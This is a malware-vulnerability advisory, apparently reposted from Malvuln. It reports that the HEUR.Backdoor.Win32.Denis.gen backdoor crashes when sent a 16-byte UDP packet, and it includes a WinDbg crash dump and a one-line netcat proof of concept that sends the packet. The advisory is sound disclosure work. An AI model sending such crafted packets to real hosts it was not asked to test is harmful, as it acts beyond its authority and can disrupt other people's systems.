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Published on November 9th, 2021 📆 | 2692 Views ⚑

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HEUR.Backdoor.Win32.Denis.gen Denial Of Service – Torchsec

Discovery / credits: Malvuln – malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1a4d58e281103fea2a4ccbfab93f74d2.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Denis.gen
Vulnerability: Remote Denial of Service (UDP Datagram)
Description: The malware listens on UDP port 50530 and the last digit increments by one each time the malware is restarted e.g. 50531. Third-party attackers who can reach infected systems can send 16 byte UDP packet to trigger an access violation and crash.
Type: PE32
MD5: 1a4d58e281103fea2a4ccbfab93f74d2
Vuln ID: MVID-2021-0395
Disclosure: 11/07/2021

Memory Dump:
(ebc.15e4): Access violation – code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=01003ff0 edx=0000415d esi=00000003 edi=00000003
eip=7770ed3c esp=00bbec44 ebp=00bbedd4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14h

0:000> .ecxr
eax=00bbf6a8 ebx=0000415d ecx=01003ff0 edx=0000415d esi=00000000 edi=00000000
eip=012020eb esp=00bbf584 ebp=00bbf5d0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb:
012020eb 8a0419 mov al,byte ptr [ecx+ebx] ds:002b:0100814d=??

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

FAULTING_IP:
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
012020eb 8a0419 mov al,byte ptr [ecx+ebx]

EXCEPTION_RECORD: ffffffff — (.exr 0xffffffffffffffff)
ExceptionAddress: 012020eb (HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x000020eb)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0100814d
Attempt to read from address 0100814d

DEFAULT_BUCKET_ID: INVALID_POINTER_READ

PROCESS_NAME: HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 0100814d

READ_ADDRESS: 0100814d

FOLLOWUP_IP:
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
012020eb 8a0419 mov al,byte ptr [ecx+ebx]

MOD_LIST:

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000015e4

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER: from 01206b11 to 012020eb

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
00bbf5d0 01206b11 01003ff0 0000415d 01002fe8 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb
00bbf9c4 01206e25 01214b3c 01200000 00000000 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6b11
00bbfa58 77408654 00ceb000 77408630 db60d728 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6e25
00bbfa6c 77704a77 00ceb000 c59b8fff 00000000 kernel32!BaseThreadInitThunk+0x24
00bbfab4 77704a47 ffffffff 77729eb4 00000000 ntdll!__RtlUserThreadStart+0x2f
00bbfac4 00000000 01214b8f 00ceb000 00000000 ntdll!_RtlUserThreadStart+0x1b

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2

IMAGE_NAME: HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 502fe904

STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb

Exploit/PoC:
python -c “print(‘A’*16)” | nc64.exe x.x.x.x -u -c 50531

Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).



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